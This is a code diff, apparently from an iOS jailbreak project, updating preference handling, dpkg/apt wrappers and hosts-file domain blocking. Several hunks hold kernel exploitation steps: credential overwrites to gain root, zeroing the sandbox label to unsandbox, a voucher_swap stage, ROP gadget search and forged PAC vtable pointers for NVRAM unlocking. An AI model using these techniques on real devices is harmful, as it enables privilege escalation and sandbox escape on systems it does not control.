if (getuid() != 0)
|
||||
{
|
||||
LOG("failed to elevate to root/kernel creds!");
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
|
||||
|
||||
host = mach_host_self();
|
||||
mach_port_t hsp4;
|
||||
ret = host_get_special_port(host, HOST_LOCAL_NODE, 4, &hsp4);
|
||||
mach_port_deallocate(mach_host_self(), host);
|
||||
host = original_host;
|
||||
|
||||
/* de-elevate */
|
||||
|
||||
WriteKernel64(ourproc + offsets->struct_offsets.proc_ucred, orig_ucred);
|
||||
|
||||
LOG("setuid: %d, uid: %d", setuid(orig_uid), getuid());
|
||||
if (getuid() != orig_uid)
|
||||
{
|
||||
LOG("failed to de-elevate to uid: %d", orig_uid);
|
||||
ret = KERN_FAILURE;
|
||||
goto out;
|
||||
}
|
||||
WriteKernel32(host_port_addr, original_type);
|
||||
|
||||
/* unsandbox */
|
||||
uint64_t cr_label = ReadKernel64(orig_ucred + 0x78);
|
||||
uint64_t ucred = ReadKernel64(ourproc + offsets->struct_offsets.proc_ucred);
|
||||
uint64_t cr_label = ReadKernel64(ucred + 0x78);
|
||||
WriteKernel64(cr_label + 0x10, 0);
|
||||
|
||||
if (ret != KERN_SUCCESS ||
|
||||
@@ -1032,7 +1010,6 @@ value = value | ((uint64_t)read64_tmp << 32)
|
||||
if (MACH_PORT_VALID(host)) {
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
host = MACH_PORT_NULL;
|
||||
original_host = HOST_NULL;
|
||||
}
|
||||
|
||||
if (MACH_PORT_VALID(thread)) {
|
||||
|
||||
@@ -27,12 +27,14 @@
|
||||
#define K_ECID "Ecid"
|
||||
#define K_INSTALL_OPENSSH "InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA "InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS "ReloadSystemDaemons"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS "DoReloadSystemDaemons"
|
||||
#define K_HIDE_LOG_WINDOW "HideLogWindow"
|
||||
#define K_RESET_CYDIA_CACHE "ResetCydiaCache"
|
||||
#define K_SSH_ONLY "SSHOnly"
|
||||
#define K_ENABLE_GET_TASK_ALLOW "EnableGetTaskAllow"
|
||||
#define K_ENABLE_GET_TASK_ALLOW "DoEnableGetTaskAllow"
|
||||
#define K_SET_CS_DEBUGGED "SetCSDebugged"
|
||||
#define K_AUTO_RESPRING "AutoRespring"
|
||||
#define K_HIDE_PROGRESS_HUD "HideProgressHUD"
|
||||
|
||||
typedef struct {
|
||||
bool load_tweaks;
|
||||
@@ -55,6 +57,8 @@ typedef struct {
|
||||
bool enable_get_task_allow;
|
||||
bool set_cs_debugged;
|
||||
bool hide_log_window;
|
||||
bool auto_respring;
|
||||
bool hide_progress_hud;
|
||||
int exploit;
|
||||
} prefs_t;
|
||||
|
||||
|
||||
@@ -51,7 +51,9 @@ bool load_prefs(prefs_t *prefs) {
|
||||
prefs->export_kernel_task_port = (bool)[[userDefaults objectForKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile] boolValue];
|
||||
prefs->restore_rootfs = (bool)[[userDefaults objectForKey:@K_RESTORE_ROOTFS inDomain:prefsFile] boolValue];
|
||||
prefs->increase_memory_limit = (bool)[[userDefaults objectForKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile] boolValue];
|
||||
prefs->ecid = (const char *)[[userDefaults objectForKey:@K_ECID inDomain:prefsFile] UTF8String];
|
||||
if ([[userDefaults objectForKey:@K_ECID inDomain:prefsFile] isKindOfClass:NSString.class]) {
|
||||
prefs->ecid = (const char *)[[userDefaults objectForKey:@K_ECID inDomain:prefsFile] UTF8String];
|
||||
}
|
||||
prefs->install_cydia = (bool)[[userDefaults objectForKey:@K_INSTALL_CYDIA inDomain:prefsFile] boolValue];
|
||||
prefs->install_openssh = (bool)[[userDefaults objectForKey:@K_INSTALL_OPENSSH inDomain:prefsFile] boolValue];
|
||||
prefs->reload_system_daemons = (bool)[[userDefaults objectForKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile] boolValue];
|
||||
@@ -61,6 +63,8 @@ bool load_prefs(prefs_t *prefs) {
|
||||
prefs->set_cs_debugged = (bool)[[userDefaults objectForKey:@K_SET_CS_DEBUGGED inDomain:prefsFile] boolValue];
|
||||
prefs->exploit = (int)[[userDefaults objectForKey:@K_EXPLOIT inDomain:prefsFile] intValue];
|
||||
prefs->hide_log_window = (bool)[[userDefaults objectForKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile] boolValue];
|
||||
prefs->auto_respring = (bool)[[userDefaults objectForKey:@K_AUTO_RESPRING inDomain:prefsFile] boolValue];
|
||||
prefs->hide_progress_hud = (bool)[[userDefaults objectForKey:@K_HIDE_PROGRESS_HUD inDomain:prefsFile] boolValue];
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -72,14 +76,14 @@ bool set_prefs(prefs_t *prefs) {
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->load_daemons] forKey:@K_LOAD_DAEMONS inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->dump_apticket] forKey:@K_DUMP_APTICKET inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->run_uicache] forKey:@K_REFRESH_ICON_CACHE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->boot_nonce] forKey:@K_BOOT_NONCE inDomain:prefsFile];
|
||||
if (prefs->boot_nonce) [userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->boot_nonce] forKey:@K_BOOT_NONCE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates] forKey:@K_DISABLE_AUTO_UPDATES inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes] forKey:@K_DISABLE_APP_REVOKES inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce] forKey:@K_OVERWRITE_BOOT_NONCE inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port] forKey:@K_EXPORT_KERNEL_TASK_PORT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->restore_rootfs] forKey:@K_RESTORE_ROOTFS inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit] forKey:@K_INCREASE_MEMORY_LIMIT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->ecid] forKey:@K_ECID inDomain:prefsFile];
|
||||
if (prefs->ecid) [userDefaults setObject:[NSString stringWithUTF8String:(const char *)prefs->ecid] forKey:@K_ECID inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_cydia] forKey:@K_INSTALL_CYDIA inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->install_openssh] forKey:@K_INSTALL_OPENSSH inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons] forKey:@K_RELOAD_SYSTEM_DAEMONS inDomain:prefsFile];
|
||||
@@ -89,6 +93,8 @@ bool set_prefs(prefs_t *prefs) {
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged] forKey:@K_SET_CS_DEBUGGED inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithInt:(int)prefs->exploit] forKey:@K_EXPLOIT inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->hide_log_window] forKey:@K_HIDE_LOG_WINDOW inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->auto_respring] forKey:@K_AUTO_RESPRING inDomain:prefsFile];
|
||||
[userDefaults setObject:[NSNumber numberWithBool:(BOOL)prefs->hide_progress_hud] forKey:@K_HIDE_PROGRESS_HUD inDomain:prefsFile];
|
||||
[userDefaults synchronize];
|
||||
return true;
|
||||
}
|
||||
@@ -111,9 +117,11 @@ void register_default_prefs() {
|
||||
defaults[@K_INSTALL_OPENSSH] = @NO;
|
||||
defaults[@K_RELOAD_SYSTEM_DAEMONS] = @YES;
|
||||
defaults[@K_SSH_ONLY] = @NO;
|
||||
defaults[@K_ENABLE_GET_TASK_ALLOW] = @NO;
|
||||
defaults[@K_ENABLE_GET_TASK_ALLOW] = @YES;
|
||||
defaults[@K_SET_CS_DEBUGGED] = @NO;
|
||||
defaults[@K_HIDE_LOG_WINDOW] = @NO;
|
||||
defaults[@K_AUTO_RESPRING] = @NO;
|
||||
defaults[@K_HIDE_PROGRESS_HUD] = @NO;
|
||||
defaults[@K_EXPLOIT] = [NSNumber numberWithInteger:recommendedJailbreakSupport()];
|
||||
[userDefaults registerDefaults:defaults];
|
||||
}
|
||||
|
||||
@@ -17,8 +17,8 @@
|
||||
|
||||
#if !__arm64e__
|
||||
static uint64_t find_gadget_candidate(char **alternatives, size_t gadget_length) {
|
||||
auto const haystack_start = (void *)atoi; // will do...
|
||||
auto haystack_size = 100*1024*1024; // likewise...
|
||||
void *const haystack_start = (void *)atoi; // will do...
|
||||
size_t haystack_size = 100*1024*1024; // likewise...
|
||||
|
||||
for (char *candidate = *alternatives; candidate != NULL; alternatives++) {
|
||||
void *found_at = memmem(haystack_start, haystack_size, candidate, gadget_length);
|
||||
@@ -36,7 +36,7 @@ static uint64_t find_blr_x19_gadget()
|
||||
if (blr_x19_addr != 0){
|
||||
return blr_x19_addr;
|
||||
}
|
||||
auto const blr_x19 = "\x60\x02\x3f\xd6";
|
||||
char *const blr_x19 = "\x60\x02\x3f\xd6";
|
||||
char* candidates[] = {blr_x19, NULL};
|
||||
blr_x19_addr = find_gadget_candidate(candidates, 4);
|
||||
return blr_x19_addr;
|
||||
|
||||
@@ -41,7 +41,7 @@ uint64_t get_iodtnvram_obj(void) {
|
||||
LOG("Failed to get IODTNVRAM service");
|
||||
return 0;
|
||||
}
|
||||
uint64_t nvram_up = get_address_of_port(getpid(), IODTNVRAMSrv);
|
||||
uint64_t nvram_up = get_address_of_port(proc_struct_addr(), IODTNVRAMSrv);
|
||||
IODTNVRAMObj = ReadKernel64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
LOG("IODTNVRAM obj at 0x%llx", IODTNVRAMObj);
|
||||
@@ -72,7 +72,7 @@ int unlocknvram(void) {
|
||||
kernel_xpaci(buf[searchNVRAMProperty / sizeof(uint64_t)]);
|
||||
|
||||
// allocate buffer in kernel
|
||||
fake_vtable_xpac = kmem_alloc_wired(kernel_buffer_size);
|
||||
fake_vtable_xpac = IOMalloc(kernel_buffer_size);
|
||||
|
||||
// Forge the pacia pointers to the virtual methods.
|
||||
size_t count = 0;
|
||||
@@ -119,7 +119,7 @@ int locknvram(void) {
|
||||
}
|
||||
|
||||
WriteKernel64(obj, orig_vtable);
|
||||
kmem_free(fake_vtable_xpac, kernel_buffer_size);
|
||||
SafeIOFreeNULL(fake_vtable_xpac, kernel_buffer_size);
|
||||
|
||||
LOG("Locked nvram");
|
||||
return 0;
|
||||
|
||||
@@ -46,6 +46,7 @@ int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
|
||||
- (BOOL) registerApplicationDictionary:(id)application;
|
||||
- (BOOL) installApplication:(id)application withOptions:(id)options;
|
||||
- (BOOL) _LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)system internal:(BOOL)internal user:(BOOL)user;
|
||||
- (BOOL) applicationIsInstalled:(id)arg1;
|
||||
@end
|
||||
|
||||
static inline bool create_file_data(const char *file, int owner, mode_t mode, NSData *data) {
|
||||
@@ -89,10 +90,10 @@ bool pkgIsInstalled(char *packageID);
|
||||
bool pkgIsConfigured(char *packageID);
|
||||
bool pkgIsBy(const char *maintainer, const char *packageID);
|
||||
bool compareInstalledVersion(const char *packageID, const char *op, const char *version);
|
||||
bool extractDeb(NSString *debPath);
|
||||
bool extractDebs(NSArray <NSString *> *debPaths);
|
||||
bool extractDeb(NSString *debPath, bool doInject);
|
||||
bool extractDebs(NSArray <NSString *> *debPaths, bool doInject);
|
||||
bool installDeb(const char *debName, bool forceDeps);
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps);
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps, bool forceAll);
|
||||
bool removePkg(char *packageID, bool forceDeps);
|
||||
bool removePkgs(NSArray <NSString*> *packageIDs, bool forceDeps);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
@@ -100,9 +101,12 @@ NSString *debForPkg(NSString *pkg);
|
||||
bool aptUpdate(void);
|
||||
bool aptInstall(NSArray <NSString*> *pkgs);
|
||||
bool aptUpgrade(void);
|
||||
bool aptRepair(void);
|
||||
bool runApt(NSArray <NSString*> *args);
|
||||
bool extractAptPkgList(NSString *path, ArchiveFile* listcache, id_t owner);
|
||||
bool ensureAptPkgLists(void);
|
||||
bool removeURLFromSources(NSMutableString *sources, NSString *url);
|
||||
void deduplicateSillySources(void);
|
||||
bool is_symlink(const char *filename);
|
||||
bool is_directory(const char *filename);
|
||||
bool is_mountpoint(const char *filename);
|
||||
@@ -160,8 +164,9 @@ vm_size_t get_kernel_page_size(void);
|
||||
int waitForFile(const char *filename);
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
void waitFor(int seconds);
|
||||
void blockDomainWithName(const char *name);
|
||||
void unblockDomainWithName(const char *name);
|
||||
bool blockDomainWithName(const char *name);
|
||||
bool unblockDomainWithName(const char *name);
|
||||
bool cydiaIsInstalled(void);
|
||||
|
||||
extern NSData *lastSystemOutput;
|
||||
|
||||
|
||||
+123
-51
@@ -204,7 +204,7 @@ bool compareInstalledVersion(const char *packageID, const char *op, const char *
|
||||
return rv;
|
||||
}
|
||||
|
||||
bool runDpkg(NSArray <NSString*> *args, bool forceDeps) {
|
||||
bool runDpkg(NSArray <NSString*> *args, bool forceDeps, bool forceAll) {
|
||||
if ([args count] < 2) {
|
||||
LOG("%s: Nothing to do", __FUNCTION__);
|
||||
return false;
|
||||
@@ -217,7 +217,9 @@ bool runDpkg(NSArray <NSString*> *args, bool forceDeps) {
|
||||
@"--no-triggers"
|
||||
]];
|
||||
|
||||
if (forceDeps) {
|
||||
if (forceAll) {
|
||||
[command addObject:@"--force-all"];
|
||||
} else if (forceDeps) {
|
||||
[command addObjectsFromArray:@[@"--force-depends", @"--force-remove-essential"]];
|
||||
}
|
||||
for (NSString *arg in args) {
|
||||
@@ -232,7 +234,7 @@ bool runDpkg(NSArray <NSString*> *args, bool forceDeps) {
|
||||
return !WEXITSTATUS(rv);
|
||||
}
|
||||
|
||||
bool extractDeb(NSString *debPath) {
|
||||
bool extractDeb(NSString *debPath, bool doInject) {
|
||||
if (![debPath hasSuffix:@".deb"]) {
|
||||
LOG(@"%@: not a deb", debPath);
|
||||
return NO;
|
||||
@@ -260,7 +262,7 @@ bool extractDeb(NSString *debPath) {
|
||||
[deb extractFileNum:3 toFd:pipe.fileHandleForWriting.fileDescriptor];
|
||||
});
|
||||
bool result = [tar extractToPath:@"/"];
|
||||
if ((kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) && result) {
|
||||
if (doInject && result) {
|
||||
chdir("/");
|
||||
NSMutableArray *toInject = [NSMutableArray new];
|
||||
NSDictionary *files = tar.files;
|
||||
@@ -285,32 +287,32 @@ bool extractDeb(NSString *debPath) {
|
||||
return result;
|
||||
}
|
||||
|
||||
bool extractDebs(NSArray <NSString *> *debPaths) {
|
||||
bool extractDebs(NSArray <NSString *> *debPaths, bool doInject) {
|
||||
if ([debPaths count] < 1) {
|
||||
LOG("%s: Nothing to install", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
for (NSString *debPath in debPaths) {
|
||||
if (!extractDeb(debPath))
|
||||
if (!extractDeb(debPath, doInject))
|
||||
return NO;
|
||||
}
|
||||
return YES;
|
||||
}
|
||||
|
||||
bool installDeb(const char *debName, bool forceDeps) {
|
||||
return runDpkg(@[@"-i", @(debName)], forceDeps);
|
||||
return runDpkg(@[@"-i", @(debName)], forceDeps, false);
|
||||
}
|
||||
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps) {
|
||||
bool installDebs(NSArray <NSString*> *debs, bool forceDeps, bool forceAll) {
|
||||
if ([debs count] < 1) {
|
||||
LOG("%s: Nothing to install", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
return runDpkg([@[@"-i"] arrayByAddingObjectsFromArray:debs], forceDeps);
|
||||
return runDpkg([@[@"-i"] arrayByAddingObjectsFromArray:debs], forceDeps, forceAll);
|
||||
}
|
||||
|
||||
bool removePkg(char *packageID, bool forceDeps) {
|
||||
return runDpkg(@[@"-r", @(packageID)], forceDeps);
|
||||
return runDpkg(@[@"-r", @(packageID)], forceDeps, false);
|
||||
}
|
||||
|
||||
bool removePkgs(NSArray <NSString*> *pkgs, bool forceDeps) {
|
||||
@@ -318,7 +320,7 @@ bool removePkgs(NSArray <NSString*> *pkgs, bool forceDeps) {
|
||||
LOG("%s: Nothing to remove", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
return runDpkg([@[@"-r"] arrayByAddingObjectsFromArray:pkgs], forceDeps);
|
||||
return runDpkg([@[@"-r"] arrayByAddingObjectsFromArray:pkgs], forceDeps, false);
|
||||
}
|
||||
|
||||
bool runApt(NSArray <NSString*> *args) {
|
||||
@@ -340,7 +342,7 @@ bool runApt(NSArray <NSString*> *args) {
|
||||
}
|
||||
argv[command.count] = NULL;
|
||||
int rv = runCommandv(argv[0], (int)[command count], argv, NULL);
|
||||
return !WEXITSTATUS(rv);
|
||||
return WIFEXITED(rv) && !WEXITSTATUS(rv);
|
||||
}
|
||||
|
||||
bool aptUpdate() {
|
||||
@@ -356,6 +358,10 @@ bool aptUpgrade() {
|
||||
return runApt(@[@"-y", @"--allow-unauthenticated", @"--allow-downgrades", @"-f", @"dist-upgrade"]);
|
||||
}
|
||||
|
||||
bool aptRepair() {
|
||||
return runApt(@[@"-o", @"Dir::Etc::preferences=undecimus/preferences", @"-o", @"Dir::Etc::preferencesparts=''", @"-y", @"--allow-unauthenticated", @"--allow-remove-essential", @"--allow-downgrades", @"-f", @"dist-upgrade"]);
|
||||
}
|
||||
|
||||
bool extractAptPkgList(NSString *path, ArchiveFile* listcache, id_t owner)
|
||||
{
|
||||
struct stat buf;
|
||||
@@ -375,6 +381,57 @@ bool ensureAptPkgLists() {
|
||||
return success && extractAptPkgList(@"/var/mobile/Library/Caches/com.saurik.Cydia/lists", listsArchive, 501);
|
||||
}
|
||||
|
||||
bool removeURLFromSources(NSMutableString *sources, NSString *url)
|
||||
{
|
||||
bool removed=false;
|
||||
NSString *pattern = [NSString stringWithFormat:@"[^\\n](?:(?!\\n\\n).)*%@(?:(?!\\n\\n).)*\\n\\n",
|
||||
[url stringByReplacingOccurrencesOfString:@"." withString:@"\\."]
|
||||
];
|
||||
NSRegularExpression *sourceexp = [NSRegularExpression
|
||||
regularExpressionWithPattern:pattern
|
||||
options:NSRegularExpressionDotMatchesLineSeparators
|
||||
error:nil];
|
||||
|
||||
for (NSTextCheckingResult *source in [sourceexp matchesInString:sources options:0 range:NSMakeRange(0, sources.length)])
|
||||
{
|
||||
removed = true;
|
||||
[sources deleteCharactersInRange:[source rangeAtIndex:0]];
|
||||
}
|
||||
return removed;
|
||||
}
|
||||
|
||||
void deduplicateSillySources(void)
|
||||
{
|
||||
NSString *cydia_list = [NSString stringWithContentsOfFile:@"/etc/apt/sources.list.d/cydia.list" encoding:NSUTF8StringEncoding error:nil];
|
||||
NSMutableString *sileo_sources = [NSMutableString stringWithContentsOfFile:@"/etc/apt/sources.list.d/sileo.sources" encoding:NSUTF8StringEncoding error:nil];
|
||||
if (cydia_list && sileo_sources) {
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
if (pkgIsInstalled("org.coolstar.sileo")) {
|
||||
NSString *orig_sileo_sources = [sileo_sources copy];
|
||||
NSRegularExpression *urlexp = [NSRegularExpression regularExpressionWithPattern:@"https?://(\\S+[^/\\s]|\\S+)/?\\s" options:0 error:nil];
|
||||
|
||||
for (NSTextCheckingResult *match in [urlexp matchesInString:cydia_list options:0 range:NSMakeRange(0, cydia_list.length)])
|
||||
{
|
||||
NSString *url = [cydia_list substringWithRange:[match rangeAtIndex:1]];
|
||||
if ([url hasPrefix:@"apt.thebigboss.org"] && removeURLFromSources(sileo_sources, @"repounclutter.coolstar.org")) {
|
||||
LOG("Removing duplicated source repounclutter from sileo.sources");
|
||||
}
|
||||
if (removeURLFromSources(sileo_sources, url)) {
|
||||
LOG("Removing duplicated source %@ from sileo.sources", url);
|
||||
}
|
||||
}
|
||||
if (![sileo_sources isEqual:orig_sileo_sources]) {
|
||||
[fm createFileAtPath:@"/etc/apt/sources.list.d/sileo.sources"
|
||||
contents:[sileo_sources dataUsingEncoding:NSUTF8StringEncoding]
|
||||
attributes:@{ NSFileOwnerAccountID:@(0), NSFileGroupOwnerAccountID:@(0), NSFilePosixPermissions:@(0644) }
|
||||
];
|
||||
}
|
||||
} else {
|
||||
[fm removeItemAtPath:@"/etc/apt/sources.list.d/sileo.sources" error:nil];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool is_symlink(const char *filename) {
|
||||
struct stat buf;
|
||||
if (lstat(filename, &buf) != ERR_SUCCESS) {
|
||||
@@ -1024,12 +1081,17 @@ bool verifyECID(NSString *ecid) {
|
||||
bool canOpen(const char *URL) {
|
||||
__block bool canOpenURL = false;
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
dispatch_block_t block = ^{
|
||||
if ([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@(URL)]]) {
|
||||
canOpenURL = true;
|
||||
}
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
};
|
||||
if ([[NSThread currentThread] isMainThread]) {
|
||||
block();
|
||||
} else {
|
||||
dispatch_async(dispatch_get_main_queue(), block);
|
||||
}
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
return canOpenURL;
|
||||
}
|
||||
@@ -1216,8 +1278,8 @@ out:
|
||||
}
|
||||
|
||||
int waitForFile(const char *filename) {
|
||||
auto rv = access(filename, F_OK);
|
||||
for (auto i = 0; !(i >= 100 || rv == ERR_SUCCESS); i++) {
|
||||
int rv = access(filename, F_OK);
|
||||
for (int i = 0; !(i >= 100 || rv == ERR_SUCCESS); i++) {
|
||||
usleep(100000);
|
||||
rv = access(filename, F_OK);
|
||||
}
|
||||
@@ -1229,56 +1291,66 @@ NSString *hexFromInt(NSInteger val) {
|
||||
}
|
||||
|
||||
void waitFor(int seconds) {
|
||||
for (auto i = 1; i <= seconds; i++) {
|
||||
for (int i = 1; i <= seconds; i++) {
|
||||
LOG("Waiting (%d/%d)", i, seconds);
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
void blockDomainWithName(const char *name) {
|
||||
id hostsFile = nil;
|
||||
id newLine = nil;
|
||||
id newHostsFile = nil;
|
||||
hostsFile = [NSString stringWithContentsOfFile:@"/etc/hosts" encoding:NSUTF8StringEncoding error:nil];
|
||||
newHostsFile = hostsFile;
|
||||
newLine = [NSString stringWithFormat:@"\n127.0.0.1 %s\n", name];
|
||||
if (![hostsFile containsString:newLine]) {
|
||||
newHostsFile = [newHostsFile stringByAppendingString:newLine];
|
||||
bool blockDomainWithName(const char *name) {
|
||||
if (!unblockDomainWithName(name)) {
|
||||
LOG("%s: Unable to clean hosts file", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n::1 %s\n", name];
|
||||
if (![hostsFile containsString:newLine]) {
|
||||
newHostsFile = [newHostsFile stringByAppendingString:newLine];
|
||||
NSString *domain = @(name);
|
||||
NSString *hosts_file = @"/etc/hosts";
|
||||
NSString *hosts = [NSString stringWithContentsOfFile:hosts_file encoding:NSUTF8StringEncoding error:nil];
|
||||
if (hosts == nil) {
|
||||
LOG("%s: Unable to read hosts file", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
if (![newHostsFile isEqual:hostsFile]) {
|
||||
[newHostsFile writeToFile:@"/etc/hosts" atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *redirects = @[@"127.0.0.1", @"n::1"];
|
||||
for (NSString *redirect in redirects) {
|
||||
NSString *line = [NSString stringWithFormat:@"\n%@\t%@\n", redirect, domain];
|
||||
hosts = [hosts stringByAppendingString:line];
|
||||
}
|
||||
if (![hosts writeToFile:hosts_file atomically:YES encoding:NSUTF8StringEncoding error:nil]) {
|
||||
LOG("%s: Unable to update hosts file", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void unblockDomainWithName(const char *name) {
|
||||
id hostsFile = nil;
|
||||
id newLine = nil;
|
||||
id newHostsFile = nil;
|
||||
hostsFile = [NSString stringWithContentsOfFile:@"/etc/hosts" encoding:NSUTF8StringEncoding error:nil];
|
||||
newHostsFile = hostsFile;
|
||||
newLine = [NSString stringWithFormat:@"\n127.0.0.1 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
bool unblockDomainWithName(const char *name) {
|
||||
NSString *domain = @(name);
|
||||
NSString *hosts_file = @"/etc/hosts";
|
||||
NSString *hosts = [NSString stringWithContentsOfFile:hosts_file encoding:NSUTF8StringEncoding error:nil];
|
||||
if (hosts == nil) {
|
||||
LOG("%s: Unable to read hosts file", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n0.0.0.0 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
for (NSString *line in [hosts componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
|
||||
for (NSString *string in [line componentsSeparatedByCharactersInSet:[NSCharacterSet whitespaceCharacterSet]]) {
|
||||
if ([string isEqualToString:domain]) {
|
||||
hosts = [hosts stringByReplacingOccurrencesOfString:line withString:@""];
|
||||
}
|
||||
}
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n0.0.0.0 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
if (![hosts writeToFile:hosts_file atomically:YES encoding:NSUTF8StringEncoding error:nil]) {
|
||||
LOG("%s: Unable to update hosts file", __FUNCTION__);
|
||||
return false;
|
||||
}
|
||||
newLine = [NSString stringWithFormat:@"\n::1 %s\n", name];
|
||||
if ([hostsFile containsString:newLine]) {
|
||||
newHostsFile = [hostsFile stringByReplacingOccurrencesOfString:newLine withString:@""];
|
||||
return true;
|
||||
}
|
||||
|
||||
bool cydiaIsInstalled() {
|
||||
if (access("/Applications/Cydia.app", F_OK) != ERR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
if (![newHostsFile isEqual:hostsFile]) {
|
||||
[newHostsFile writeToFile:@"/etc/hosts" atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
||||
if (!canOpen("cydia://")) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
|
||||
@@ -1143,7 +1143,8 @@ voucher_swap() {
|
||||
mach_port_destroy(mach_task_self(), base_port);
|
||||
|
||||
// 30. Unsandbox
|
||||
uint64_t selfproc = kernel_read64(current_task + OFFSET(task, bsd_info));
|
||||
extern uint64_t cached_proc_struct_addr;
|
||||
uint64_t selfproc = cached_proc_struct_addr = kernel_read64(current_task + OFFSET(task, bsd_info));
|
||||
uint64_t ucred = kernel_read64(selfproc + OFFSET(proc, p_ucred));
|
||||
uint64_t cr_label = kernel_read64(ucred + 0x78);
|
||||
kernel_write64(cr_label + 0x10, 0);
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.1.1
|
||||
3.1.2
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
-1
Submodule patchfinder64 updated: bc3448f0cc...6c220b3ae8
Reference in New Issue
Block a user